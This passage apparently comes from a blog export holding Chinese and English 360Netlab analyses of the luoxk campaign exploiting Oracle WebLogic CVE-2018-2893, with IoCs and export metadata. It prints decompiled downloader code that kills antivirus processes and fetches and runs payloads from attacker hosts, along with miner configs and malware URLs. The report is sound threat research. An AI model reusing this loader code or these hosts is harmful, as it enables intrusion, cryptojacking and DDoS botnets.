ord(data_pointer[data_len_1])):\n return (2*tmp2&0xfe)\n return -1;\n```\n#### Contact Us\nIf readers have new discoveries, feel free to contact us on [twitter](https://twitter.com/360netlab).\n\n#### IoC\nMalware Sample md5\n```\nc1816d141321276cd4621abcd280ee40 #hns x86\n0770ff1a6e90eb5d083c16452e45abd5 #hns arm\n30ebaaeb61a4ecae3ade7d1d4e5c7adb #hns_miner\n```\n\nAll 171 hard coded P2P peer address list is [here](__GHOST_URL__/file/hns_hardcoded_peer_list.txt).\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

132

post

2018-07-23T07:39:19.000Z

63873b9a8b1c1e0007f52f2f

a-malware-compain-is-actively-exploiting-cve-2018-2893-for-botnet-mining

2018-10-06T09:04:57.000Z

public

published

2018-07-23T11:39:05.000Z

恶意代码团伙luoxk正在积极利用 CVE-2018-2893 传播

<!--kg-card-begin: markdown--><p>文章作者：Zhang Zaifeng, yegenshen, RootKiter, JiaYu</p> <p>7月18日，Oracle在官方发布的例行补丁更新中修复了CVE-2018-2893，一个Oracle WebLogic Server 远程代码执行漏洞。一般认为漏洞影响严重且相关PoC已经公开，建议相关用户尽快进行评估升级。</p> <p>三天后，2018-07-21 11:24:31 开始，我们注意到一个长久以来我们跟踪的恶意代码团伙正在积极利用该漏洞传播自身。由于该团伙经常使用 luoxkexp[.]com ，我们将其命名为 luoxk 。</p> <p>该恶意代码团伙第一次触发我们的警铃是在一年前的2017年3月17日，我们的DNSMon系统，在该恶意代码团伙域名注册后的第二天根据算法自动判断该域名异常。<br> <img src="__GHOST_URL__/content/images/2018/07/dnsmon.png" alt="" loading="lazy"></p> <p>在那以后，我们持续观察了该恶意代码团伙的行为，包括：</p> <ul> <li>DDoS攻击：使用DSL4（Nitol）恶意代码，对应的C2 luoxkexp.com</li> <li>挖矿：挖矿使用的钱包地址是 <code>48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH</code>，不过目前收益并不高，pool.minexmr.com给付的门罗币（XMR）只有 2.746605935</li> </ul> <p>下面是我们Botnet跟踪系统看到的最早的DDoS攻击指令，发生于 2017-06-11，受害者是 116.211.167.112。</p> <pre><code>2017-06-11 22:39:29 dsl4 luoxkexp.com 192.225.225.154 2015 ddos tcp_flood 116.211.167.112 15010 tcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22 </code></pre> <h4 id="luoxkcve20182893">luoxk 团伙近期利用 CVE-2018-2893 挖矿</h4> <p>21日起，luoxk 团伙开始利用仅发布了 3 天的CVE-2018-2893。漏洞利用主要通过下面这个文件实现</p> <pre><code>hxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc </code></pre> <p>通过对该jar包反编译，可以注意到有以下关键代码</p> <pre><code>public JexReverse(String paramString, int paramInt) throws Exception { Properties localProperties = System.getProperties(); String str = localProperties.getProperty(&quot;os.name&quot;); try { if (str.contains(&quot;Win&quot;)) { execw(&quot;taskkill /f /im 360Safe.exe&quot;); execw(&quot;taskkill /f /im 360tray.exe&quot;); downloadFile(&quot;hxxp://121.18.238.56:8080/aaa.exe&quot;, &quot;59081.exe&quot;); execw(&quot;cmd /c 59081.exe&quot;); exec(&quot;59081.exe&quot;); throw new Exception(&quot;8888: windows执行下载者命令&quot;); } downloadFile(&quot;hxxp://121.18.238.56:8080/testshell.sh&quot;, &quot;gen.sh&quot;); execw(&quot;chmod 777 gen.sh&quot;); exec(&quot;/bin/sh gen.sh&quot;); } catch (Exception localException) { if (localException.toString().indexOf(&quot;8888&quot;) &gt; -1) { throw localException; } throw new Exception(&quot;8888:&quot; + new String(localException.toString()) + &quot;\r\n&quot;); } } </code></pre> <p>会从服务器上继续下载以下内容：</p> <pre><code>hxxp://121.18.238.56:8080/aaa.exe #下载服务器，继续下载xmrig矿机 hxxp://121.18.238.56:8080/testshell.sh #下载后续 SYN_145, SYN_7008, a4.sh, a5.sh hxxp://121.18.238.56:8080/SYN_145 #ddos.billgates C2=121.18.238.56:145 hxxp://121.18.238.56:8080/a4.sh #杀掉CPU占用率超过10% 的进程 hxxp://121.18.238.56:8080/SYN_7008 #ddos.billgates C2=121.18.238.56:7008 hxxp://121.18.238.56:8080/a5.sh #下载并运行下面的xmrig 矿机，同时杀掉除自己以外的CPU占用率超过10.0%的进程 hxxp://121.18.238.56/xmrig #xmrig矿机，被上面的a5.sh下载并运行 hxxp://luoxkexp.com:8099/ver1.txt #矿机运行配置，具体内容见下，当前挖矿收益 2.746605935XMR </code></pre> <p>矿机运行配置来自上述 ver1.txt，如下：</p> <pre><code>ver=1.5; pool=pool.minexmr.com; port=5555; user=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000; pass=x; algo=cryptonight; durl=http://121.18.238.56:8080/aaa.exe; </code></pre> <p>值得一提的是，该恶意团伙会禁止部分IP地址的访问。在我们分析的过程中，就遇到了这种情况，某些URL在一段时间后就不能从特定IP地址访问了。其他研究人员在复现本文内容时，可以考虑使用代理网络。</p> <h4 id="">感染规模</h4> <p>从域名 luoxkexp[.]com 的访问情况看，单日DNS访问次数峰值超过300k，感染规模已经比较大。<br> <img src="__GHOST_URL__/content/images/2018/07/domain-traffic.png" alt="" loading="lazy"></p> <h4 id="">并非结束</h4> <p>该团伙历史上使用过另外一个XRM钱包地址，在那个钱包里已经挖到了 195.625363870000 XMR：</p> <pre><code>pool: minexmr.com wallet: 44kPVQ3NvAQghr7BruiBLwieqU653B88wCZAt64UJBYy1eydmhd3gXC8Tx9nfGVdCCSUtKb37pHvi25DrjXzXNM2BEsNccG </code></pre> <p>该恶意团伙的工作范围非常广泛，除了本文已经介绍的内容以外，至少还包括：</p> <ul> <li>RAT远程控制 ：使用了 Gh0st 家族恶意代码</li> <li>alipay：看到代码中包含了支付宝红包推广的行为，这可能意味着攻击者可以通过推广拿到提成</li> <li>安卓恶意代码</li> <li>利用RMI服务传播的蠕虫</li> </ul> <p>这些内容也许我们会在后续文档中继续批露。</p> <p>请持续关注我们的 <a href="__GHOST_URL__/">blog</a>、<a href="https://twitter.com/360netlab">twitter</a> 或者微信公众号360Netlab。</p> <h4 id="ioc">IoC</h4> <p>Domain and IP</p> <pre><code>121.18.238.56 AS4837 CHINA UNICOM China169 Backbone 103.99.115.220 AS21859 Zenlayer Inc luoxkexp.com xmr.luoxkexp.com www.luoxkexp.com v7.luoxkexp.com luoxk.f3322.net #share same ip, domain keyword, and dns start time </code></pre> <p>Malware Sample MD5</p> <pre><code>ff03c749b49d7dacdf50ded3c4030e61 f34ec3ff56918c13f454472587868393 e1df71c38cea61397e713d6e580e9051 a8538f6d35362481749d1fd338b6b17d </code></pre> <p>URL</p> <pre><code>http://xmr.luoxkexp.com:8888/xmrig http://xmr.luoxkexp.com:8888/xmr64.exe http://xmr.luoxkexp.com:8888/version.txt http://xmr.luoxkexp.com:8888/jjj.exe http://xmr.luoxkexp.com:8888/7799 http://xmr.luoxkexp.com:8888/2.exe http://xmr.luoxkexp.com:8888/1.sh http://xmr.luoxkexp.com:8888/1.exe http://xmr.luoxkexp.com/ http://xmr.luoxkexp.com/1.exe hxxp://103.99.115.220:8080/JexRemoteTools.jar hxxp://121.18.238.56:8080/aaa.exe hxxp://121.18.238.56:8080/testshell.sh hxxp://121.18.238.56:8080/SYN_145 hxxp://121.18.238.56:8080/a4.sh hxxp://121.18.238.56:8080/SYN_7008 hxxp://121.18.238.56:8080/a5.sh hxxp://121.18.238.56/xmrig hxxp://luoxkexp.com:8099/ver1.txt </code></pre> <!--kg-card-end: markdown-->

文章作者：Zhang Zaifeng, yegenshen, RootKiter, JiaYu 7月18日，Oracle在官方发布的例行补丁更新中修复了CVE-2018-2893，一个Oracle WebLogic Server 远程代码执行漏洞。一般认为漏洞影响严重且相关PoC已经公开，建议相关用户尽快进行评估升级。 三天后，2018-07-21 11:24:31 开始，我们注意到一个长久以来我们跟踪的恶意代码团伙正在积极利用该漏洞传播自身。由于该团伙经常使用 luoxkexp[.]com ，我们将其命名为 luoxk 。 该恶意代码团伙第一次触发我们的警铃是在一年前的2017年3月17日，我们的DNSMon系统，在该恶意代码团伙域名注册后的第二天根据算法自动判断该域名异常。 在那以后，我们持续观察了该恶意代码团伙的行为，包括： * DDoS攻击：使用DSL4（Nitol）恶意代码，对应的C2 luoxkexp.com * 挖矿：挖矿使用的钱包地址是 48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH，不过目前收益并不高，pool.minexmr.com给付的门罗币（XMR）只有 2.746605935 下面是我们Botnet跟踪系统看到的最早的DDoS攻击指令，发生于 2017-06-11，受害者是 116.211.167.112。 2017-06-11 22:39:29 dsl4 luoxkexp.com 192.225.225.154 2015 ddos tcp_flood 116.211.167.112 15010 tcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22 luoxk 团伙近期利用 CVE-2018-2893 挖矿 21日起，luoxk 团伙开始利用仅发布了 3 天的CVE-2018-2893。漏洞利用主要通过下面这个文件实现 hxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc 通过对该jar包反编译，可以注意到有以下关键代码 public JexReverse(String paramString, int paramInt) throws Exception { Properties localProperties = System.getProperties(); String str = localProperties.getProperty("os.name"); try { if (str.contains("Win")) { execw("taskkill /f /im 360Safe.exe"); execw("taskkill /f /im 360tray.exe"); downloadFile("hxxp://121.18.238.56:8080/aaa.exe", "59081.exe"); execw("cmd /c 59081.exe"); exec("59081.exe"); throw new Exception("8888: windows执行下载者命令"); } downloadFile("hxxp://121.18.238.56:8080/testshell.sh", "gen.sh"); execw("chmod 777 gen.sh"); exec("/bin/sh gen.sh"); } catch (Exception localException) { if (localException.toString().indexOf("8888") > -1) { throw localException; } throw new Exception("8888:" + new String(localException.toString()) + "\r\n"); } } 会从服务器上继续下载以下内容： hxxp://121.18.238.56:8080/aaa.exe #下载服务器，继续下载xmrig矿机 hxxp://121.18.238.56:8080/testshell.sh #下载后续 SYN_145, SYN_7008, a4.sh, a5.sh hxxp://121.18.238.56:8080/SYN_145 #ddos.billgates C2=121.18.238.56:145 hxxp://121.18.238.56:8080/a4.sh #杀掉CPU占用率超过10% 的进程 hxxp://121.18.238.56:8080/SYN_7008 #ddos.billgates C2=121.18.238.56:7008 hxxp://121.18.238.56:8080/a5.sh #下载并运行下面的xmrig 矿机，同时杀掉除自己以外的CPU占用率超过10.0%的进程 hxxp://121.18.238.56/xmrig #xmrig矿机，被上面的a5.sh下载并运行 hxxp://luoxkexp.com:8099/ver1.txt #矿机运行配置，具体内容见下，当前挖矿收益 2.746605935XMR 矿机运行配置来自上述 ver1.txt，如下： ver=1.5; pool=pool.minexmr.com; port=5555; user=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000; pass=x; algo=cryptonight; durl=http://121.18.238.56:8080/aaa.exe; 值得一提的是，该恶意团伙会禁止部分IP地址的访问。在我们分析的过程中，就遇到了这种情况，某些URL在一段时间后就不能从特定IP地址访问了。其他研究人员在复现本文内容时，可以考虑使用代理网络。 感染规模 从域名 luoxkexp[.]com 的访问情况看，单日DNS访问次数峰值超过300k，感染规模已经比较大。 并非结束 该团伙历史上使用过另外一个XRM钱包地址，在那个钱包里已经挖到了 195.625363870000 XMR： pool: minexmr.com wallet: 44kPVQ3NvAQghr7BruiBLwieqU653B88wCZAt64UJBYy1eydmhd3gXC8Tx9nfGVdCCSUtKb37pHvi25DrjXzXNM2BEsNccG 该恶意团伙的工作范围非常广泛，除了本文已经介绍的内容以外，至少还包括： * RAT远程控制 ：使用了 Gh0st 家族恶意代码 * alipay：看到代码中包含了支付宝红包推广的行为，这可能意味着攻击者可以通过推广拿到提成 * 安卓恶意代码 * 利用RMI服务传播的蠕虫 这些内容也许我们会在后续文档中继续批露。 请持续关注我们的 blog、twitter 或者微信公众号360Netlab。 IoC Domain and IP 121.18.238.56 AS4837 CHINA UNICOM China169 Backbone 103.99.115.220 AS21859 Zenlayer Inc luoxkexp.com xmr.luoxkexp.com www.luoxkexp.com v7.luoxkexp.com luoxk.f3322.net #share same ip, domain keyword, and dns start time Malware Sample MD5 ff03c749b49d7dacdf50ded3c4030e61 f34ec3ff56918c13f454472587868393 e1df71c38cea61397e713d6e580e9051 a8538f6d35362481749d1fd338b6b17d URL http://xmr.luoxkexp.com:8888/xmrig http://xmr.luoxkexp.com:8888/xmr64.exe http://xmr.luoxkexp.com:8888/version.txt http://xmr.luoxkexp.com:8888/jjj.exe http://xmr.luoxkexp.com:8888/7799 http://xmr.luoxkexp.com:8888/2.exe http://xmr.luoxkexp.com:8888/1.sh http://xmr.luoxkexp.com:8888/1.exe http://xmr.luoxkexp.com/ http://xmr.luoxkexp.com/1.exe hxxp://103.99.115.220:8080/JexRemoteTools.jar hxxp://121.18.238.56:8080/aaa.exe hxxp://121.18.238.56:8080/testshell.sh hxxp://121.18.238.56:8080/SYN_145 hxxp://121.18.238.56:8080/a4.sh hxxp://121.18.238.56:8080/SYN_7008 hxxp://121.18.238.56:8080/a5.sh hxxp://121.18.238.56/xmrig hxxp://luoxkexp.com:8099/ver1.txt

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"文章作者：Zhang Zaifeng, yegenshen, RootKiter, JiaYu\n\n7月18日，Oracle在官方发布的例行补丁更新中修复了CVE-2018-2893，一个Oracle WebLogic Server 远程代码执行漏洞。一般认为漏洞影响严重且相关PoC已经公开，建议相关用户尽快进行评估升级。\n\n三天后，2018-07-21 11:24:31 开始，我们注意到一个长久以来我们跟踪的恶意代码团伙正在积极利用该漏洞传播自身。由于该团伙经常使用 luoxkexp[.]com ，我们将其命名为 luoxk 。\n\n该恶意代码团伙第一次触发我们的警铃是在一年前的2017年3月17日，我们的DNSMon系统，在该恶意代码团伙域名注册后的第二天根据算法自动判断该域名异常。\n\n\n在那以后，我们持续观察了该恶意代码团伙的行为，包括：\n\n * DDoS攻击：使用DSL4（Nitol）恶意代码，对应的C2 luoxkexp.com\n * 挖矿：挖矿使用的钱包地址是 `48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH`，不过目前收益并不高，pool.minexmr.com给付的门罗币（XMR）只有 2.746605935\n\n下面是我们Botnet跟踪系统看到的最早的DDoS攻击指令，发生于 2017-06-11，受害者是 116.211.167.112。\n```\n2017-06-11 22:39:29 \tdsl4 \tluoxkexp.com \t192.225.225.154\t2015 \tddos \ttcp_flood \t116.211.167.112 \t15010 \ttcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22\n```\n\n#### luoxk 团伙近期利用 CVE-2018-2893 挖矿\n\n21日起，luoxk 团伙开始利用仅发布了 3 天的CVE-2018-2893。漏洞利用主要通过下面这个文件实现\n\n```\nhxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc\n```\n通过对该jar包反编译，可以注意到有以下关键代码\n```\npublic JexReverse(String paramString, int paramInt) throws Exception\n {\n Properties localProperties = System.getProperties();\n String str = localProperties.getProperty(\"os.name\");\n try\n {\n if (str.contains(\"Win\"))\n {\n execw(\"taskkill /f /im 360Safe.exe\");\n execw(\"taskkill /f /im 360tray.exe\");\n downloadFile(\"hxxp://121.18.238.56:8080/aaa.exe\", \"59081.exe\");\n \n\n execw(\"cmd /c 59081.exe\");\n exec(\"59081.exe\");\n throw new Exception(\"8888: windows执行下载者命令\");\n }\n downloadFile(\"hxxp://121.18.238.56:8080/testshell.sh\", \"gen.sh\");\n execw(\"chmod 777 gen.sh\");\n exec(\"/bin/sh gen.sh\");\n\n }\n catch (Exception localException)\n {\n\n if (localException.toString().indexOf(\"8888\") > -1) {\n throw localException;\n }\n throw new Exception(\"8888:\" + new String(localException.toString()) + \"\\r\\n\");\n }\n }\n```\n\n会从服务器上继续下载以下内容：\n\n```\nhxxp://121.18.238.56:8080/aaa.exe #下载服务器，继续下载xmrig矿机\nhxxp://121.18.238.56:8080/testshell.sh #下载后续 SYN_145, SYN_7008, a4.sh, a5.sh\nhxxp://121.18.238.56:8080/SYN_145 #ddos.billgates C2=121.18.238.56:145\nhxxp://121.18.238.56:8080/a4.sh #杀掉CPU占用率超过10% 的进程\nhxxp://121.18.238.56:8080/SYN_7008 #ddos.billgates C2=121.18.238.56:7008\nhxxp://121.18.238.56:8080/a5.sh #下载并运行下面的xmrig 矿机，同时杀掉除自己以外的CPU占用率超过10.0%的进程\nhxxp://121.18.238.56/xmrig #xmrig矿机，被上面的a5.sh下载并运行\nhxxp://luoxkexp.com:8099/ver1.txt #矿机运行配置，具体内容见下，当前挖矿收益 2.746605935XMR\n```\n\n矿机运行配置来自上述 ver1.txt，如下：\n```\nver=1.5;\npool=pool.minexmr.com;\nport=5555;\nuser=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000;\npass=x;\nalgo=cryptonight;\ndurl=http://121.18.238.56:8080/aaa.exe;\n```\n\n值得一提的是，该恶意团伙会禁止部分IP地址的访问。在我们分析的过程中，就遇到了这种情况，某些URL在一段时间后就不能从特定IP地址访问了。其他研究人员在复现本文内容时，可以考虑使用代理网络。\n\n\n\n#### 感染规模\n\n从域名 luoxkexp[.]com 的访问情况看，单日DNS访问次数峰值超过300k，感染规模已经比较大。\n\n\n#### 并非结束\n\n该团伙历史上使用过另外一个XRM钱包地址，在那个钱包里已经挖到了 195.625363870000 XMR：\n```\npool: minexmr.com\nwallet: 44kPVQ3NvAQghr7BruiBLwieqU653B88wCZAt64UJBYy1eydmhd3gXC8Tx9nfGVdCCSUtKb37pHvi25DrjXzXNM2BEsNccG\n```\n\n该恶意团伙的工作范围非常广泛，除了本文已经介绍的内容以外，至少还包括：\n\n * RAT远程控制 ：使用了 Gh0st 家族恶意代码\n * alipay：看到代码中包含了支付宝红包推广的行为，这可能意味着攻击者可以通过推广拿到提成\n * 安卓恶意代码\n * 利用RMI服务传播的蠕虫\n\n\n这些内容也许我们会在后续文档中继续批露。\n\n请持续关注我们的 [blog](__GHOST_URL__/)、[twitter](https://twitter.com/360netlab) 或者微信公众号360Netlab。\n\n#### IoC\nDomain and IP \n```\n121.18.238.56 AS4837 CHINA UNICOM China169 Backbone\n103.99.115.220 AS21859 Zenlayer Inc\nluoxkexp.com\nxmr.luoxkexp.com\nwww.luoxkexp.com\nv7.luoxkexp.com\nluoxk.f3322.net #share same ip, domain keyword, and dns start time\n```\n\nMalware Sample MD5\n```\nff03c749b49d7dacdf50ded3c4030e61\nf34ec3ff56918c13f454472587868393\ne1df71c38cea61397e713d6e580e9051\na8538f6d35362481749d1fd338b6b17d\n```\n\nURL\n```\nhttp://xmr.luoxkexp.com:8888/xmrig\nhttp://xmr.luoxkexp.com:8888/xmr64.exe\nhttp://xmr.luoxkexp.com:8888/version.txt\nhttp://xmr.luoxkexp.com:8888/jjj.exe\nhttp://xmr.luoxkexp.com:8888/7799\nhttp://xmr.luoxkexp.com:8888/2.exe\nhttp://xmr.luoxkexp.com:8888/1.sh\nhttp://xmr.luoxkexp.com:8888/1.exe\nhttp://xmr.luoxkexp.com/\nhttp://xmr.luoxkexp.com/1.exe\nhxxp://103.99.115.220:8080/JexRemoteTools.jar\nhxxp://121.18.238.56:8080/aaa.exe\nhxxp://121.18.238.56:8080/testshell.sh\nhxxp://121.18.238.56:8080/SYN_145\nhxxp://121.18.238.56:8080/a4.sh\nhxxp://121.18.238.56:8080/SYN_7008\nhxxp://121.18.238.56:8080/a5.sh\nhxxp://121.18.238.56/xmrig\nhxxp://luoxkexp.com:8099/ver1.txt\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

133

post

2018-07-23T11:43:04.000Z

63873b9a8b1c1e0007f52f30

malicious-campaign-luoxk-is-actively-exploiting-cve-2018-2893

2018-10-06T09:13:33.000Z

public

published

2018-07-23T12:30:09.000Z

Malicious Campaign luoxk Is Actively Exploiting CVE-2018-2893

<!--kg-card-begin: markdown--><p>Author: Zhang Zaifeng, yegenshen, RootKiter, JiaYu</p> <p>On July 18, in an officially released routine patch update, Oracle fixed CVE-2018-2893, an Oracle WebLogic Server remote code execution vulnerability.</p> <p>Three days later, at 2018-07-21 11:24:31 GMT+8, we noticed that a malicious campaign that we have been tracking for a long time start to exploit this vulnerability to spread itself. This campaign has been using luoxkexp[.]com as main C2, and we named it luoxk.</p> <p>The luoxk group registered the luoxkexp[.]com C2 domain on March 16,2017, and then immediately started to use it. Our DNSmon system was able to pick up this C2 domain the second day and marked it as abnormal.</p> <p><img src="__GHOST_URL__/content/images/2018/07/dnsmon.png" alt="" loading="lazy"></p> <p>Since then, we have witnessed various activities of this group, such as:</p> <ul> <li>using DSL(Nitol) code to perform ddos attack</li> <li>using Gh0st to execute RAT</li> <li>performing mining by using XMRig, and the wallet address is 48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH</li> <li>Android malicious APK</li> <li>Exploiting RMI service in a worm style</li> </ul> <p>The earliest DDoS attack we captured in our Botnet Tracking System from this campaign went back to 2017-06-11 and the victim was 116.211.167.112.</p> <pre><code>2017-06-11 22:39:29 dsl4 luoxkexp.com 192.225.225.154 2015 ddos tcp_flood 116.211.167.112 15010 tcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22 </code></pre> <h4 id="cve20182893exploit">CVE-2018-2893 Exploit</h4> <p>On the 21st, the luoxk group started to target CVE-2018-2893, which was only released for 3 days. The main exploit file is this</p> <pre><code>hxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc </code></pre> <p>By decompile the jar package, we would see the following key code.</p> <pre><code>public JexReverse(String paramString, int paramInt) throws Exception { Properties localProperties = System.getProperties(); String str = localProperties.getProperty(&quot;os.name&quot;); try { if (str.contains(&quot;Win&quot;)) { execw(&quot;taskkill /f /im 360Safe.exe&quot;); execw(&quot;taskkill /f /im 360tray.exe&quot;); downloadFile(&quot;hxxp://121.18.238.56:8080/aaa.exe&quot;, &quot;59081.exe&quot;); execw(&quot;cmd /c 59081.exe&quot;); exec(&quot;59081.exe&quot;); throw new Exception(&quot;8888: windows执行下载者命令&quot;); #windows execute downloader commands } downloadFile(&quot;hxxp://121.18.238.56:8080/testshell.sh&quot;, &quot;gen.sh&quot;); execw(&quot;chmod 777 gen.sh&quot;); exec(&quot;/bin/sh gen.sh&quot;); } catch (Exception localException) { if (localException.toString().indexOf(&quot;8888&quot;) &gt; -1) { throw localException; } throw new Exception(&quot;8888:&quot; + new String(localException.toString()) + &quot;\r\n&quot;); } } </code></pre> <p>And then download the following files</p> <pre><code>hxxp://121.18.238.56:8080/aaa.exe #to download xmrig hxxp://121.18.238.56:8080/testshell.sh #to download SYN_145, SYN_7008, a4.sh, a5.sh hxxp://121.18.238.56:8080/SYN_145 #BillGates ddos malware, C2=121.18.238.56:145 hxxp://121.18.238.56:8080/a4.sh #kill process using higher than 10% CPU hxxp://121.18.238.56:8080/SYN_7008 #BillGates ddos malware, C2=121.18.238.56:7008 hxxp://121.18.238.56:8080/a5.sh #kill process using higher than 10% CPU, download and run xmrig hxxp://121.18.238.56/xmrig #xmrig, downloaded and ran by the above a5.sh hxxp://luoxkexp.com:8099/ver1.txt #xmrig configureation, detailed as follows </code></pre> <p>The mining configuration is from the above ver1.txt, as follows:</p> <pre><code>ver=1.5; pool=pool.minexmr.com; port=5555; user=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000; pass=x; algo=cryptonight; durl=http://121.18.238.56:8080/aaa.exe; </code></pre> <h4 id="c2accesstrend">C2 Access Trend</h4> <p>The dns access traffic for luoxkexp[.]com has been going up for the last few days, and reached a peak at above 300k/d</p> <p><img src="__GHOST_URL__/content/images/2018/07/domain-traffic-1.png" alt="" loading="lazy"></p> <h4 id="contactus">Contact Us</h4> <p>Feel free to follow us on our <a href="__GHOST_URL__/">blog</a>, <a href="https://twitter.com/360netlab">twitter</a> or Wechat 360Netlab.</p> <h4 id="ioc">IoC</h4> <h4 id="ioc">IoC</h4> <p>Domain and IP</p> <pre><code>121.18.238.56 AS4837 CHINA UNICOM China169 Backbone 103.99.115.220 AS21859 Zenlayer Inc luoxkexp.com xmr.luoxkexp.com www.luoxkexp.com v7.luoxkexp.com luoxk.f3322.net #share same ip, domain keyword, and dns start time </code></pre> <p>Malware Sample MD5</p> <pre><code>ff03c749b49d7dacdf50ded3c4030e61 f34ec3ff56918c13f454472587868393 e1df71c38cea61397e713d6e580e9051 a8538f6d35362481749d1fd338b6b17d </code></pre> <p>URL</p> <pre><code>http://xmr.luoxkexp.com:8888/xmrig http://xmr.luoxkexp.com:8888/xmr64.exe http://xmr.luoxkexp.com:8888/version.txt http://xmr.luoxkexp.com:8888/jjj.exe http://xmr.luoxkexp.com:8888/7799 http://xmr.luoxkexp.com:8888/2.exe http://xmr.luoxkexp.com:8888/1.sh http://xmr.luoxkexp.com:8888/1.exe http://xmr.luoxkexp.com/ http://xmr.luoxkexp.com/1.exe hxxp://103.99.115.220:8080/JexRemoteTools.jar hxxp://121.18.238.56:8080/aaa.exe hxxp://121.18.238.56:8080/testshell.sh hxxp://121.18.238.56:8080/SYN_145 hxxp://121.18.238.56:8080/a4.sh hxxp://121.18.238.56:8080/SYN_7008 hxxp://121.18.238.56:8080/a5.sh hxxp://121.18.238.56/xmrig hxxp://luoxkexp.com:8099/ver1.txt </code></pre> <!--kg-card-end: markdown-->

Author: Zhang Zaifeng, yegenshen, RootKiter, JiaYu On July 18, in an officially released routine patch update, Oracle fixed CVE-2018-2893, an Oracle WebLogic Server remote code execution vulnerability. Three days later, at 2018-07-21 11:24:31 GMT+8, we noticed that a malicious campaign that we have been tracking for a long time start to exploit this vulnerability to spread itself. This campaign has been using luoxkexp[.]com as main C2, and we named it luoxk. The luoxk group registered the luoxkexp[.]com C2 domain on March 16,2017, and then immediately started to use it. Our DNSmon system was able to pick up this C2 domain the second day and marked it as abnormal. Since then, we have witnessed various activities of this group, such as: * using DSL(Nitol) code to perform ddos attack * using Gh0st to execute RAT * performing mining by using XMRig, and the wallet address is 48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH * Android malicious APK * Exploiting RMI service in a worm style The earliest DDoS attack we captured in our Botnet Tracking System from this campaign went back to 2017-06-11 and the victim was 116.211.167.112. 2017-06-11 22:39:29 dsl4 luoxkexp.com 192.225.225.154 2015 ddos tcp_flood 116.211.167.112 15010 tcp_flood, target=116.211.167.112, port=15010, attack_time=20m, threads=30, type=22 CVE-2018-2893 Exploit On the 21st, the luoxk group started to target CVE-2018-2893, which was only released for 3 days. The main exploit file is this hxxp://103.99.115.220:8080/JexRemoteTools.jar #md5 hash 2f7df3baefb1cdcd7e7de38cc964c9dc By decompile the jar package, we would see the following key code. public JexReverse(String paramString, int paramInt) throws Exception { Properties localProperties = System.getProperties(); String str = localProperties.getProperty("os.name"); try { if (str.contains("Win")) { execw("taskkill /f /im 360Safe.exe"); execw("taskkill /f /im 360tray.exe"); downloadFile("hxxp://121.18.238.56:8080/aaa.exe", "59081.exe"); execw("cmd /c 59081.exe"); exec("59081.exe"); throw new Exception("8888: windows执行下载者命令"); #windows execute downloader commands } downloadFile("hxxp://121.18.238.56:8080/testshell.sh", "gen.sh"); execw("chmod 777 gen.sh"); exec("/bin/sh gen.sh"); } catch (Exception localException) { if (localException.toString().indexOf("8888") > -1) { throw localException; } throw new Exception("8888:" + new String(localException.toString()) + "\r\n"); } } And then download the following files hxxp://121.18.238.56:8080/aaa.exe #to download xmrig hxxp://121.18.238.56:8080/testshell.sh #to download SYN_145, SYN_7008, a4.sh, a5.sh hxxp://121.18.238.56:8080/SYN_145 #BillGates ddos malware, C2=121.18.238.56:145 hxxp://121.18.238.56:8080/a4.sh #kill process using higher than 10% CPU hxxp://121.18.238.56:8080/SYN_7008 #BillGates ddos malware, C2=121.18.238.56:7008 hxxp://121.18.238.56:8080/a5.sh #kill process using higher than 10% CPU, download and run xmrig hxxp://121.18.238.56/xmrig #xmrig, downloaded and ran by the above a5.sh hxxp://luoxkexp.com:8099/ver1.txt #xmrig configureation, detailed as follows The mining configuration is from the above ver1.txt, as follows: ver=1.5; pool=pool.minexmr.com; port=5555; user=48WDQHCe5aRDeHv1DkkdwQiPRQSqYw2DqEic7MZ47iJVVTeQ1aknDULfKj6qqLu6hy6xRZJu4BgYziSMbfzCGnqc54VekKH+15000; pass=x; algo=cryptonight; durl=http://121.18.238.56:8080/aaa.exe; C2 Access Trend The dns access traffic for luoxkexp[.]com has been going up for the last few days, and reached a peak at above 300k/d Contact Us Feel free to follow us on our blog, twitter or Wechat 360Netlab. IoC IoC Domain and IP 121.18.238.56 AS4837 CHINA UNICOM China169 Backbone 103.99.115.220 AS21859 Zenlayer Inc 